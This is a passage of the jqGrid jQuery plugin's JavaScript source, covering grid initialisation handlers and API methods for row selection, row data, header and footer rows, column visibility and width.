$(ts).triggerHandler("jqGridHeaderClick", [ts.p.gridstate,e]); if(onHdCl) {if(!hg) {ts.p.onHeaderClick.call(ts,ts.p.gridstate,e);}} } }); } return false; }); if(hg) {ts.p.datatype="local"; $(".ui-jqgrid-titlebar-close",grid.cDiv).trigger("click");} } } else { $(grid.cDiv).hide(); if(!ts.p.toppager) { $(grid.hDiv).addClass(getstyle(ts.p.styleUI+'.common', 'cornertop', true)); } } if(ts.p.headerrow) { $(grid.hrDiv).after(grid.bDiv); } else { $(grid.hDiv).after(grid.bDiv); } $(grid.hDiv) .mousemove(function (e) { if(grid.resizing){grid.dragMove(e);return false;} }); $(".ui-jqgrid-labels",grid.hDiv).on("selectstart", function () { return false; }); $(document).on( "mouseup.jqGrid" + ts.p.id, function () { if(grid.resizing) { grid.dragEnd( true ); return false;} return true; }); if(ts.p.direction === 'rtl') { $(ts).on('jqGridAfterGridComplete.setRTLPadding',function(){ var vScrollWidth = grid.bDiv.offsetWidth - grid.bDiv.clientWidth, gridhbox = $(grid.hDiv).find("div").first(); //ts.p.scrollOffset = vScrollWidth; // for future implementation if( vScrollWidth > 0 ) vScrollWidth += 2; if (gridhbox.hasClass("ui-jqgrid-hbox-rtl")) { $(grid.hDiv).find("div").first().css({paddingLeft: vScrollWidth + "px"}); } grid.hDiv.scrollLeft = grid.bDiv.scrollLeft; }); } if(ts.p.autoResizing) { $(ts).on('jqGridAfterGridComplete.setAutoSizeColumns',function(){ var arfrozen = false, focused = false; if(ts.p.frozenColumns === true) { focused = $(':focus', '.frozen-div').attr("id"); $(ts).jqGrid("destroyFrozenColumns"); arfrozen = true; } if(ts.p.colSpanHeader.length > 0) { $(ts).jqGrid('destroyColSpanHeader',false); } $(ts.p.colModel).each(function(i){ if (this.autosize && !this.hidden) { if(this._maxsize && this._maxsize > 0) { $(ts).jqGrid('resizeColumn', i, this._maxsize + ts.p.cellLayout, false, false ); //this._maxsize = this.canvas_width; } } }); $(ts).jqGrid('refreshGroupHeaders'); if(ts.p.colSpanHeader.length > 0) { $(ts).jqGrid('setColSpanHeader', ts.p.colSpanHeader); } if(arfrozen) { $(ts).jqGrid("setFrozenColumns"); if(focused) { setTimeout(function(){ $("#"+focused, '.frozen-div').trigger('focus'); },10); } } }); } if(ts.p.searchCols) { $(ts).on("jqGridPaging.searchCols", function() { if(!$.isEmptyObject(ts.p._results) ) { ts.p._results ={}; $.jgrid.searchColOnEnter( ts.p.id, null ); } }); $(ts).on("jqGridSortCol.searchCols", function() { if(!$.isEmptyObject(ts.p._results) ) { ts.p._results ={}; $.jgrid.searchColOnEnter( ts.p.id, null ); } }); if(ts.p.colMenu && ts.p.searchColOptions.colmenu) { $(ts).jqGrid('addColSearchMenu'); } } ts.formatCol = formatCol; ts.sortData = sortData; ts.updatepager = updatepager; ts.refreshIndex = refreshIndex; ts.setHeadCheckBox = setHeadCheckBox; ts.constructTr = constructTr; ts.formatter = function ( rowId, cellval , colpos, rwdat, act){return formatter(rowId, cellval , colpos, rwdat, act);}; $.extend(grid,{populate : populate, emptyRows: emptyRows, beginReq: beginReq, endReq: endReq}); this.grid = grid; ts.addXmlData = function(d) {addXmlData( d );}; ts.addJSONData = function(d) {addJSONData( d );}; ts.addLocalData = function(d) { return addLocalData( d );}; ts.addIndexedDBData = function(d) { return addIndexedDBData( d );}; ts.treeGrid_beforeRequest = function() { treeGrid_beforeRequest(); }; //bvn13 ts.treeGrid_afterLoadComplete = function() {treeGrid_afterLoadComplete(); }; this.grid.cols = this.rows[0].cells; if ($.jgrid.isFunction( ts.p.onInitGrid )) { ts.p.onInitGrid.call(ts); } $(ts).triggerHandler("jqGridInitGrid"); populate(); ts.p.hiddengrid=false; if(ts.p.responsive) { var supportsOrientationChange = "onorientationchange" in window, orientationEvent = supportsOrientationChange ? "orientationchange" : "resize"; $(window).on( orientationEvent, function(){ if($.jgrid.isVisible(ts)) { $(ts).jqGrid('resizeGrid', 500, true, ts.p.resizeHeight,true); } }); } }); }; $.jgrid.extend({ getGridParam : function(name, grid_module) { var $t = this[0], ret; if (!$t || !$t.grid) {return;} if(grid_module === undefined && typeof grid_module !== 'string') { grid_module = 'jqGrid'; //$t.p } ret = $t.p; if(grid_module !== 'jqGrid') { try { ret = $($t).data( grid_module ); } catch (e) { ret = $t.p; } } if (!name) { return ret; } return ret[name] !== undefined ? ret[name] : null; }, setGridParam : function (newParams, overwrite){ return this.each(function(){ if( $.jgrid.isNull(overwrite) ) { overwrite = false; } if (this.grid && typeof newParams === 'object') { if(overwrite === true) { var params = $.extend({}, this.p, newParams); this.p = params; } else { $.extend(true,this.p,newParams); } } }); }, getGridRowById : function ( rowid ) { var row; this.each( function(){ try { row = this.rows.namedItem( rowid ); /* var i = this.rows.length; while(i--) { if( rowid.toString() === this.rows[i].id) { row = this.rows[i]; break; } } */ } catch ( e ) { row = $(this.grid.bDiv).find( "#" + $.jgrid.jqID( rowid ))[0]; } }); return row; }, getGridRowByIndex : function (index) { //first row = 1 var row = null; this.each(function(){ var i = this.rows.length - 1; if(index >= 1 && i>=1 && index <= i) { row = this.rows[index]; } }); return row; }, getDataIDs : function () { var ids=[], i=0, len, j=0; this.each(function(){ len = this.rows.length; if(len && len>0){ while(i<len) { if($(this.rows[i]).hasClass('jqgrow') && this.rows[i].id !== "norecs") { ids[j] = this.rows[i].id; j++; } i++; } } }); return ids; }, setSelection : function(selection,onsr, e, isHight) { return this.each(function(){ var $t = this, stat,pt, ner, ia, tpsr, fid, csr, tfid, getstyle = $.jgrid.getMethod("getStyleUI"), highlight = getstyle($t.p.styleUI+'.common','highlight', true), disabled = getstyle($t.p.styleUI+'.common','disabled', true); if(selection === undefined) { return; } if(isHight === undefined ) { isHight = true; } isHight = isHight === false ? false : true; onsr = onsr === false ? false : true; pt=$($t).jqGrid('getGridRowById', selection); if(!pt || !pt.className || pt.className.indexOf( disabled ) > -1 ) { return; } function scrGrid(iR){ var ch = $($t.grid.bDiv)[0].clientHeight, st = $($t.grid.bDiv)[0].scrollTop, rpos = $($t.rows[iR]).position().top, rh = $t.rows[iR].clientHeight; if(rpos+rh >= ch+st) { $($t.grid.bDiv)[0].scrollTop = rpos-(ch+st)+rh+st; } else if(rpos < ch+st) { if(rpos < st) { $($t.grid.bDiv)[0].scrollTop = rpos; } } } if($t.p.scrollrows===true) { ner = $($t).jqGrid('getGridRowById',selection).rowIndex; if(ner >=0 ){ scrGrid(ner); } } if($t.p.frozenColumns === true ) { fid = $t.p.id+"_frozen"; } if($t.p.frozenRows === true ) { tfid = $t.p.id+"_fr"; } if(!$t.p.multiselect) { if(tfid) { $("#"+$.jgrid.jqID($t.p.selrow), "#"+$.jgrid.jqID(tfid)).removeClass(highlight); } if(pt.className !== "ui-subgrid") { if( $t.p.selrow !== pt.id ) { if( isHight ) { csr = $($t).jqGrid('getGridRowById', $t.p.selrow); if( csr ) { $( csr ).removeClass(highlight).attr({"aria-selected":"false" , "tabindex" : "-1"}); } $(pt).addClass(highlight).attr({"aria-selected":"true" ,"tabindex" : "0"});//.focus(); if(fid) { $("#"+$.jgrid.jqID($t.p.selrow), "#"+$.jgrid.jqID(fid)).removeClass(highlight); $("#"+$.jgrid.jqID(selection), "#"+$.jgrid.jqID(fid)).addClass(highlight); } } stat = true; } else { stat = false; } $t.p.selrow = pt.id; if( onsr ) { $($t).triggerHandler("jqGridSelectRow", [pt.id, stat, e]); if( $t.p.onSelectRow) { $t.p.onSelectRow.call($t, pt.id, stat, e); } } } } else { //unselect selectall checkbox when deselecting a specific row $t.setHeadCheckBox( false ); $t.p.selrow = pt.id; ia = $.inArray($t.p.selrow,$t.p.selarrrow); if ( ia === -1 ){ if(pt.className !== "ui-subgrid") { $(pt).addClass(highlight).attr("aria-selected","true");} stat = true; $t.p.selarrrow.push($t.p.selrow); } else if( ia !== -1 && e === "_sp_") { // selection preserver multiselect if(pt.className !== "ui-subgrid") { $(pt).addClass(highlight).attr("aria-selected","true");} stat = true; } else { if(pt.className !== "ui-subgrid") { $(pt).removeClass(highlight).attr("aria-selected","false");} stat = false; $t.p.selarrrow.splice(ia,1); tpsr = $t.p.selarrrow[0]; $t.p.selrow = (tpsr === undefined) ? null : tpsr; } $("#jqg_"+$.jgrid.jqID($t.p.id)+"_"+$.jgrid.jqID(pt.id))[$t.p.useProp ? 'prop': 'attr']("checked",stat); if(fid) { if(isHight) { if(ia === -1) { $("#"+$.jgrid.jqID(selection), "#"+$.jgrid.jqID(fid)).addClass(highlight); } else { $("#"+$.jgrid.jqID(selection), "#"+$.jgrid.jqID(fid)).removeClass(highlight); } } $("#jqg_"+$.jgrid.jqID($t.p.id)+"_"+$.jgrid.jqID(selection), "#"+$.jgrid.jqID(fid))[$t.p.useProp ? 'prop': 'attr']("checked",stat); } if( onsr ) { $($t).triggerHandler("jqGridSelectRow", [pt.id, stat, e]); if( $t.p.onSelectRow) { $t.p.onSelectRow.call($t, pt.id , stat, e); } } //si if($.jgrid.isFunction($t.p.onMultiSelect)) {$t.p.onMultiSelect.call($t, $t.p.selarrrow);} } }); }, resetSelection : function( rowid ){ return this.each(function(){ var t = this, sr, fid, getstyle = $.jgrid.getMethod("getStyleUI"), highlight = getstyle(t.p.styleUI+'.common','highlight', true), hover = getstyle(t.p.styleUI+'.common','hover', true); if( t.p.frozenColumns === true ) { fid = t.p.id+"_frozen"; } if(rowid !== undefined ) { sr = rowid === t.p.selrow ? t.p.selrow : rowid; $("#"+$.jgrid.jqID(t.p.id)+" tbody").first().find("tr#"+$.jgrid.jqID(sr)).removeClass( highlight ).attr("aria-selected","false"); if (fid) { $("#"+$.jgrid.jqID(sr), "#"+$.jgrid.jqID(fid)).removeClass( highlight ); } if(t.p.multiselect) { $("#jqg_"+$.jgrid.jqID(t.p.id)+"_"+$.jgrid.jqID(sr), "#"+$.jgrid.jqID(t.p.id))[t.p.useProp ? 'prop': 'attr']("checked",false); if(fid) { $("#jqg_"+$.jgrid.jqID(t.p.id)+"_"+$.jgrid.jqID(sr), "#"+$.jgrid.jqID(fid))[t.p.useProp ? 'prop': 'attr']("checked",false); } t.setHeadCheckBox( false); var ia = $.inArray($.jgrid.jqID(sr), t.p.selarrrow); if ( ia !== -1 ){ t.p.selarrrow.splice(ia,1); } } if( t.p.onUnSelectRow) { t.p.onUnSelectRow.call(t, sr ); } sr = null; } else if(!t.p.multiselect) { if(t.p.selrow) { $("#"+$.jgrid.jqID(t.p.id)+" tbody").first().find("tr#"+$.jgrid.jqID(t.p.selrow)).removeClass( highlight ).attr("aria-selected","false"); if(fid) { $("#"+$.jgrid.jqID(t.p.selrow), "#"+$.jgrid.jqID(fid)).removeClass( highlight ); } if( t.p.onUnSelectRow) { t.p.onUnSelectRow.call(t, t.p.selrow ); } t.p.selrow = null; } } else { $(t.p.selarrrow).each(function(i,n){ $( $(t).jqGrid('getGridRowById',n) ).removeClass( highlight ).attr("aria-selected","false"); $("#jqg_"+$.jgrid.jqID(t.p.id)+"_"+$.jgrid.jqID(n))[t.p.useProp ? 'prop': 'attr']("checked",false); if(fid) { $("#"+$.jgrid.jqID(n), "#"+$.jgrid.jqID(fid)).removeClass( highlight ); $("#jqg_"+$.jgrid.jqID(t.p.id)+"_"+$.jgrid.jqID(n), "#"+$.jgrid.jqID(fid))[t.p.useProp ? 'prop': 'attr']("checked",false); } if( t.p.onUnSelectRow) { t.p.onUnSelectRow.call(t, n); } }); t.setHeadCheckBox( false ); t.p.selarrrow = []; t.p.selrow = null; } if(t.p.cellEdit === true) { if(parseInt(t.p.iCol,10)>=0 && parseInt(t.p.iRow,10)>=0) { $("td",t.rows[t.p.iRow]).eq(t.p.iCol).removeClass("edit-cell " + highlight ); $(t.rows[t.p.iRow]).removeClass("selected-row " + hover ); } } //t.p.savedRow = []; //si if($.jgrid.isFunction(t.p.onMultiSelect)) {t.p.onMultiSelect.call(t, t.p.selarrrow);} }); }, getRowData : function( rowid, usedata, treeindent, visibleTreeNodes ) { var res = {}, resall, getall=false, len, j=0; this.each(function(){ var $t = this,nm,ind; if( $.jgrid.isNull(rowid) ) { getall = true; resall = []; len = $t.rows.length; } else { ind = $($t).jqGrid('getGridRowById', rowid); if(!ind) { return res; } len = 1; } if( !(usedata && usedata === true && $t.p.data.length > 0) ) { usedata = false; } if( $.jgrid.isNull(treeindent) ) { treeindent = false; } if( $.jgrid.isNull(visibleTreeNodes) ) { visibleTreeNodes = false; } while(j<len){ if(getall) { ind = $t.rows[j]; } if( $(ind).hasClass('jqgrow') && ind.id !== "norecs") { // ignore first not visible row and norecs one if($t.p.treeGrid===true && visibleTreeNodes===true && $(ind).is(":hidden")) { j++; continue; } if(usedata) { res = res = $.extend( {}, $t.p.data[ $t.p._index[ $.jgrid.stripPref($t.p.idPrefix, ind.id) ] ] ); } else { $(ind).children('td[role="gridcell"]').each( function(i) { nm = $t.p.colModel[i].name; if ( nm !== 'cb' && nm !== 'subgrid' && nm !== 'rn' && nm !== 'sc') { if($t.p.treeGrid===true && nm === $t.p.ExpandColumn) { res[nm] = $.jgrid.htmlDecode( $(this).find("span").first().html() ); } else { try { res[nm] = $.unformat.call($t,this,{rowId:ind.id, colModel:$t.p.colModel[i]},i); } catch (e){ res[nm] = $.jgrid.htmlDecode($(this).html()); } } } }); } if($t.p.treeGrid===true && treeindent) { var level = $t.p.treeReader.level_field; treeindent += ''; try { level = parseInt(res[level],10); } catch(e_) { level = 0; } res[$t.p.ExpandColumn] = treeindent.repeat( level ) + res[$t.p.ExpandColumn]; } if(getall) { resall.push(res); res={}; } } j++; } }); return resall || res; }, delRowData : function(rowid) { var success = false, rowInd, ia, nextRow; this.each(function() { var $t = this; rowInd = $($t).jqGrid('getGridRowById', rowid); if(!rowInd) { return false; } else { rowid = rowInd.id; } if($t.p.subGrid) { nextRow = $(rowInd).next(); if(nextRow.hasClass('ui-subgrid')) { nextRow.remove(); } } $(rowInd).remove(); $t.p.records--; $t.p.reccount--; $t.updatepager(true,false); success=true; if($t.p.frozenColumns) { $("#" + rowid, "#" + $.jgrid.jqID($t.p.id + "_frozen")).remove(); } if($t.p.multiselect) { ia = $.inArray(rowid,$t.p.selarrrow); if(ia !== -1) { $t.p.selarrrow.splice(ia,1);} } if ($t.p.multiselect && $t.p.selarrrow.length > 0) { $t.p.selrow = $t.p.selarrrow[$t.p.selarrrow.length-1]; } else { if( $t.p.selrow === rowid ) { $t.p.selrow = null; } } if($t.p.datatype === 'local') { var id = $.jgrid.stripPref($t.p.idPrefix, rowid), pos = $t.p._index[id]; if(pos !== undefined) { $t.p.data.splice(pos,1); $t.refreshIndex(); } } }); return success; }, setRowData : function(rowid, data, cssp, usegetrow) { var nm, success=true; this.each(function(){ if(!this.grid) {return false;} var t = this, vl, ind, lcdata={}, jsondat, title; ind = $(this).jqGrid('getGridRowById', rowid); if(!ind) { return false; } if(usegetrow === true) { jsondat = $(t).jqGrid("getRowData", rowid, (t.p.datatype === 'local')); } if( data ) { if(usegetrow) { data = $.extend( jsondat, data); } try { $(this.p.colModel).each(function(i){ nm = this.name; var dval =$.jgrid.getAccessor(data,nm); if( dval !== undefined) { lcdata[nm] = dval; //this.formatter && typeof this.formatter === 'string' && this.formatter === 'date' ? $.unformat.date.call(t,dval,this) : dval; vl = t.formatter( rowid, lcdata[nm], i, data, 'edit'); title = this.title ? {"title":$.jgrid.stripHtml(vl)} : {}; if(t.p.treeGrid===true && nm === t.p.ExpandColumn) { $("td[role='gridcell']",ind).eq(i).find("span[class*='cell-wrapper']").html(vl).attr(title); } else { $("td[role='gridcell']",ind).eq(i).html(vl).attr(title); } if(t.p.frozenColumns && i <= t.p.frozenColCount) { $("#"+rowid+" td[role='gridcell']", "#" + $.jgrid.jqID(t.p.id + "_frozen")).eq(i).html(vl).attr(title); } } }); if(t.p.datatype === 'local') { var id = $.jgrid.stripPref(t.p.idPrefix, rowid), pos = t.p._index[id], key; if(t.p.treeGrid) { for(key in t.p.treeReader){ if(t.p.treeReader.hasOwnProperty(key)) { delete lcdata[t.p.treeReader[key]]; } } } if(pos !== undefined) { t.p.data[pos] = $.extend(true, t.p.data[pos], lcdata); } lcdata = null; } } catch (e) { success = false; } } if(success) { if(typeof cssp === 'string') { $(ind).addClass(cssp); } else if( !$.jgrid.isNull(cssp) && typeof cssp === 'object') { $(ind).css(cssp); } $(t).triggerHandler("jqGridAfterGridComplete"); } }); return success; }, addRowData : function(rowid,rdata,pos,src) { if($.inArray( pos, ["first", "last", "before", "after"] ) === -1) {pos = "last";} var success = false, nm, row, rnc="", msc="", gi, si, ni,sind, i, v, prp="", aradd, cnm, data, cm, id; if(rdata) { if(Array.isArray(rdata)) { aradd=true; //pos = "last"; cnm = rowid; } else { rdata = [rdata]; aradd = false; } this.each(function() { var t = this, datalen = rdata.length; ni = t.p.rownumbers===true ? 1 :0; gi = t.p.multiselect ===true ? 1 :0; si = t.p.subGrid===true ? 1 :0; if(!aradd) { if(rowid !== undefined) { rowid = String(rowid);} else { rowid = $.jgrid.randId(); if(t.p.keyName !== false) { cnm = t.p.keyName; if(rdata[0][cnm] !== undefined) { rowid = rdata[0][cnm]; } } } } var k = 0, classes = $(t).jqGrid('getStyleUI',t.p.styleUI+".base",'rowBox', true, 'jqgrow ui-row-'+ t.p.direction), lcdata = {}, air = $.jgrid.isFunction(t.p.afterInsertRow) ? true : false; if(ni) { rnc = $(t).jqGrid('getStyleUI',t.p.styleUI+".base",'rownumBox', false, 'jqgrid-rownum'); } if(gi) { msc = $(t).jqGrid('getStyleUI',t.p.styleUI+".base",'multiBox', false, 'cbox'); } while(k < datalen) { data = rdata[k]; row=[]; if(aradd) { try { rowid = data[cnm]; if(rowid===undefined) { rowid = $.jgrid.randId(); } } catch (e) {rowid = $.jgrid.randId();} } id = rowid; rowid = t.p.idPrefix + rowid; if(ni){ prp = t.formatCol(0,1,'',null,rowid, true); row[row.length] = "<td role=\"gridcell\" " + rnc +" "+prp+">0</td>"; } if(gi) { v = "<input role=\"checkbox\" type=\"checkbox\""+" id=\"jqg_"+t.p.id+"_"+rowid+"\" "+msc+"/>"; prp = t.formatCol(ni,1,'', null, rowid, true); row[row.length] = "<td role=\"gridcell\" "+prp+">"+v+"</td>"; } if(si) { row[row.length] = $(t).jqGrid("addSubGridCell",gi+ni,1); } for(i = gi+si+ni; i < t.p.colModel.length;i++){ cm = t.p.colModel[i]; nm = cm.name; lcdata[nm] = data[nm]; v = t.formatter( rowid, $.jgrid.getAccessor(data,nm), i, data ); prp = t.formatCol(i,1,v, data, rowid, lcdata); row[row.length] = "<td role=\"gridcell\" "+prp+">"+v+"</td>"; } row.unshift( t.constructTr(rowid, false, classes, lcdata, data ) ); row[row.length] = "</tr>"; if(t.rows.length === 0){ $(t.grid.bDiv).find("table").first().append(row.join('')); } else { switch (pos) { case 'last': $(t.rows[t.rows.length-1]).after(row.join('')); sind = t.rows.length-1; break; case 'first': $(t.rows[0]).after(row.join('')); sind = 1; break; case 'after': sind = $(t).jqGrid('getGridRowById', src); if (sind) { if($(t.rows[sind.rowIndex+1]).hasClass("ui-subgrid")) { $(t.rows[sind.rowIndex+1]).after(row); } else { $(sind).after(row.join('')); } sind=sind.rowIndex + 1; } break; case 'before': sind = $(t).jqGrid('getGridRowById', src); if(sind) { $(sind).before(row.join('')); sind=sind.rowIndex - 1; } break; } } if(t.p.subGrid===true) { $(t).jqGrid("addSubGrid",gi+ni, sind); } t.p.records++; t.p.reccount++; $(t).triggerHandler("jqGridAfterInsertRow", [rowid,data,data]); if(air) { t.p.afterInsertRow.call(t,rowid,data,data); } k++; if(t.p.datatype === 'local') { lcdata[t.p.localReader.id] = id; switch (pos) { case 'first': t.p.data.unshift(lcdata); break; case 'last': t.p.data.push(lcdata); break; case 'before': case 'after': t.p.data.splice(sind-1, 0, lcdata); break; } } lcdata = {}; if(t.p.reccount === 1) { sind = $(t).jqGrid('getGridRowById', "norecs"); if(sind && sind.rowIndex && sind.rowIndex > 0) { $(t.rows[sind.rowIndex]).remove(); } } } if(t.p.datatype === 'local') { t.refreshIndex(); } t.updatepager(true,true); success = true; }); } return success; }, footerData : function(action,data, format, index, destroyFrozen) { var nm, success=false, res={}; function isEmpty(obj) { var i; for(i in obj) { if (obj.hasOwnProperty(i)) { return false; } } return true; } if(action === undefined) { action = "get"; } if(typeof format !== "boolean") { format = true; } if(index === undefined ) { index = 0;} if(destroyFrozen === undefined) { destroyFrozen = true; } action = action.toLowerCase(); this.each(function(){ var t = this, vl, title, len = this.p.colModel.length, frozen = false; if(!t.grid || !t.p.footerrow) {return false;} if(action === "set") { if(isEmpty(data)) { return false; } } if(action === "getlength") { var rowlen = $(".ui-jqgrid-ftable tr", t.grid.sDiv).length; res = rowlen ? rowlen : 0; return false; } if(t.p.frozenColumns && action !== 'get' && destroyFrozen) { $(t).jqGrid("destroyFrozenColumns"); frozen = true; } success=true; if(action === 'addrow') { var test = $(".ui-jqgrid-ftable tr", t.grid.sDiv).eq(0).clone(); $("td", test).html(" "); $(".ui-jqgrid-ftable", t.grid.sDiv ).append(test); if(!isEmpty(data)) { action = 'set'; index = $(".ui-jqgrid-stable tr", t.grid.sDiv).length - 1; } } if(action === 'delrow') { if(index === undefined) { index = $(".ui-jqgrid-stable tr", t.grid.sDiv).length - 1; } if(index > 0 ) { $(".ui-jqgrid-ftable tr", t.grid.sDiv).eq(index).remove(); } } len = len * parseInt(index,10); if(action === 'get' || action === 'set') { $(this.p.colModel).each(function(i){ nm = this.name; if(action === "set") { if( data[nm] !== undefined) { vl = format ? t.formatter( "", data[nm], i, data, 'edit') : data[nm]; title = this.title ? {"title":$.jgrid.stripHtml(vl)} : {}; $("tr.footrow td",t.grid.sDiv).eq(i + len).html(vl).attr(title); success = true; } } else if(action === "get") { res[nm] = format ? $.unformat.call (t, $("tr.footrow td",t.grid.sDiv).eq(i + len), { 'colModel' : t.p.colModel[i] }, i) : $("tr.footrow td",t.grid.sDiv).eq(i + len).html(); } }); } if(action === 'remove') { $(t.grid.sDiv).remove(); t.grid.sDiv = null; t.p.footerrow = false; } if(frozen) { $(t).jqGrid("setFrozenColumns"); } }); return (action === "get" || action === "getlength") ? res : success; }, headerData : function(action, data, format, index, destroyFrozen) { var nm, success=false, res={}; function isEmpty(obj) { var i; for(i in obj) { if (obj.hasOwnProperty(i)) { return false; } } return true; } if(action === undefined) { action = "get"; } if(typeof format !== "boolean") { format = true; } if(index === undefined ) { index=0;} if(destroyFrozen === undefined) { destroyFrozen = true; } action = action.toLowerCase(); this.each(function(){ var t = this, vl, title,len = this.p.colModel.length, frozen = false; if(!t.grid || !t.p.headerrow) {return false;} if(action === "set") { if(isEmpty(data)) { return false; } } if(action === "getlength") { var rowlen = $(".ui-jqgrid-hrtable tr", t.grid.hrDiv).length; res = rowlen ? rowlen : 0; return true; } if(t.p.frozenColumns && action !== 'get' && destroyFrozen) { $(t).jqGrid("destroyFrozenColumns"); frozen = true; } success=true; if(action === 'addrow') { var test = $(".ui-jqgrid-hrtable tr", t.grid.hrDiv).eq(0).clone(); $("td", test).html(" "); $(".ui-jqgrid-hrtable", t.grid.hrDiv ).append(test); if(!isEmpty(data)) { action = 'set'; index = $(".ui-jqgrid-hrtable tr", t.grid.hrDiv).length - 1; } } if(action === 'delrow') { if(index === undefined) { index = $(".ui-jqgrid-hrtable tr", t.grid.hrDiv).length - 1; } if(index > 0 ) { $(".ui-jqgrid-hrtable tr", t.grid.hrDiv).eq(index).remove(); } } len = len * parseInt(index,10); if(action === 'get' || action === 'set') { $(this.p.colModel).each(function(i){ nm = this.name; if(action === "set") { if( data[nm] !== undefined) { vl = format ? t.formatter( "", data[nm], i, data, 'edit') : data[nm]; title = this.title ? {"title":$.jgrid.stripHtml(vl)} : {}; $("tr.hrheadrow td",t.grid.hrDiv).eq(i + len).html(vl).attr(title); success = true; } } else if(action === "get") { res[nm] = format ? $.unformat.call (t, $("tr.hrheadrow td",t.grid.hrDiv).eq(i+len), { 'colModel' : t.p.colModel[i] }, i) : $("tr.hrheadrow td",t.grid.hrDiv).eq(i+len).html(); } }); } if(action === 'remove') { $(t.grid.hrDiv).remove(); t.grid.hrDiv = null; t.p.headerrow = false; } if(frozen) { $(t).jqGrid("setFrozenColumns"); } }); return (action === "get" || action === "getlength") ? res : success; }, showHideCol : function(colname,show) { return this.each(function() { var $t = this, fndh=false, brd=$.jgrid.cell_width ? 0: $t.p.cellLayout, cw, frozen = false; if (!$t.grid ) {return;} if( typeof colname === 'string') {colname=[colname];} show = show !== "none" ? "" : "none"; var sw = show === "" ? true :false, gHead = null, gh = $($t).jqGrid("isGroupHeaderOn"); if($t.p.frozenColumns) { $($t).jqGrid('destroyFrozenColumns'); frozen = true; } if(gh) { $($t).jqGrid('destroyGroupHeader', false); gHead = $.extend([],$t.p.groupHeader); $t.p.groupHeader = null; } if($t.p.colSpanHeader.length) { $($t).jqGrid('destroyColSpanHeader', false); } $(this.p.colModel).each(function(i) { if ($.inArray(this.name,colname) !== -1 && this.hidden === sw) { //if($t.p.frozenColumns === true && this.frozen === true) { // return true; //} $("tr[role=row]",$t.grid.hDiv).each(function(){ $(this.cells[i]).css("display", show); }); $($t.rows).each(function(){ if (!$(this).hasClass("jqgroup")) { $(this.cells[i]).css("display", show); } }); if($t.p.footerrow) { $("tr.footrow td", $t.grid.sDiv).eq( i ).css("display", show); } if($t.p.headerrow) { $("tr.hrheadrow td", $t.grid.hrDiv).eq( i ).css("display", show); } cw = parseInt(this.width,10); if(show === "none") { $t.p.tblwidth -= cw+brd; } else { $t.p.tblwidth += cw+brd; } this.hidden = !sw; fndh=true; $($t).triggerHandler("jqGridShowHideCol", [sw,this.name,i]); } }); if(fndh===true) { if($t.p.shrinkToFit === true && !isNaN($t.p.height)) { $t.p.tblwidth += parseInt($t.p.scrollOffset,10); } $($t).jqGrid("setGridWidth",$t.p.shrinkToFit === true ? $t.p.tblwidth - (!isNaN($t.p.height) ? parseInt($t.p.scrollOffset,10) : 0) : $t.p.width ); } if( gh && gHead) { for(var k =0; k < gHead.length; k++) { $($t).jqGrid('setGroupHeaders', gHead[k]); } } if($t.p.colSpanHeader.length) { $($t).jqGrid('setColSpanHeader', $t.p.colSpanHeader); } if(frozen) { $($t).jqGrid("setFrozenColumns"); } }); }, hideCol : function (colname) { return this.each(function(){$(this).jqGrid("showHideCol",colname,"none");}); }, showCol : function(colname) { return this.each(function(){$(this).jqGrid("showHideCol",colname,"");}); }, hideSearchCol : function(colname) { return this.each(function(){ try { var index = this.p._avc.indexOf(colname); if(index > -1 ) { this.p._avc.splice(index, 1); this.p._fthc.push( colname ); $(this).jqGrid("showHideCol",colname,"none"); } } catch(_e) {} }); }, showSearchCol : function(colname) { return this.each(function(){ try { var index = this.p._fthc.indexOf(colname); if(index > -1 ) { this.p._fthc.splice(index, 1); this.p._avc.push( colname ); $(this).jqGrid("showHideCol",colname,""); } } catch(_e) {} }); }, remapColumns : function(permutation, updateCells, keepHeader) { function resortArray(a) { var ac; if (a.length) { ac = $.makeArray(a); } else { ac = $.extend({}, a); } $.each(permutation, function(i) { a[i] = ac[this]; }); } var ts = this.get(0); function resortRows(parent, clobj) { $(">tr"+(clobj||""), parent).each(function() { var row = this; var elems = $.makeArray(row.cells); $.each(permutation, function() { var e = elems[this]; if (e) { row.appendChild(e); } }); }); } resortArray(ts.p.colModel); resortArray(ts.p.colNames); resortArray(ts.grid.headers); resortRows( $(ts.grid.hDiv).find("thead").first() , keepHeader && ":not(.ui-jqgrid-labels)"); if (updateCells) { resortRows($("#"+$.jgrid.jqID(ts.p.id)+" tbody").first(), ".jqgfirstrow, tr.jqgrow, tr.jqfoot, tr.jqgroup"); } if (ts.p.footerrow) { resortRows( $(ts.grid.sDiv).find("tbody").first() ); } if (ts.p.headerrow) { resortRows( $(ts.grid.hrDiv).find("tbody").first()); } if (ts.p.remapColumns) { if (!ts.p.remapColumns.length){ ts.p.remapColumns = $.makeArray(permutation); } else { resortArray(ts.p.remapColumns); } } ts.p.lastsort = $.inArray(ts.p.lastsort, permutation); if(ts.p.treeGrid) { ts.p.expColInd = $.inArray(ts.p.expColInd, permutation); } $(ts).triggerHandler("jqGridRemapColumns", [permutation, updateCells, keepHeader]); }, setGridWidth : function(nwidth, shrink, usefrozen) { return this.each(function(){ if (!this.grid ) {return;} var $t = this, cw, setgr, frozen = false, initwidth = 0, brd=$.jgrid.cell_width ? 0: $t.p.cellLayout, lvc, vc=0, hs=false, scw=$t.p.scrollOffset, aw, gw=0, cr, bstw = $t.p.styleUI.search('Bootstrap') !== -1 ? 2 : 0; if(typeof shrink !== 'boolean') { shrink=$t.p.shrinkToFit; } if( typeof usefrozen !== 'boolean' ) { usefrozen = true; } if(isNaN(nwidth)) {return;} nwidth = parseInt(nwidth,10); if(nwidth < $t.p.minGridWidth || nwidth > $t.p.maxGridWidth) { return; } $t.grid.width = $t.p.width = nwidth; $("#gbox_"+$.jgrid.jqID($t.p.id)).css("width",nwidth+"px"); $("#gview_"+$.jgrid.jqID($t.p.id)).css("width",nwidth+"px"); $($t.grid.bDiv).css("width",(nwidth - bstw) +"px"); $($t.grid.hDiv).css("width",(nwidth - bstw) +"px"); if($t.p.pager ) { $($t.p.pager).css("width",(nwidth - bstw) +"px"); } if($t.p.toppager ) { $($t.p.toppager).css("width",(nwidth - bstw)+"px"); } if($t.p.toolbar[0] === true){ $($t.grid.uDiv).css("width",(nwidth - bstw)+"px"); if($t.p.toolbar[1]==="both") {$($t.grid.ubDiv).css("width",(nwidth - bstw)+"px");} } if($t.p.footerrow) { $($t.grid.sDiv).css("width",(nwidth - bstw)+"px"); } if($t.p.headerrow) { $($t.grid.hrDiv).css("width",(nwidth - bstw)+"px"); } // if (group_header) setgr = 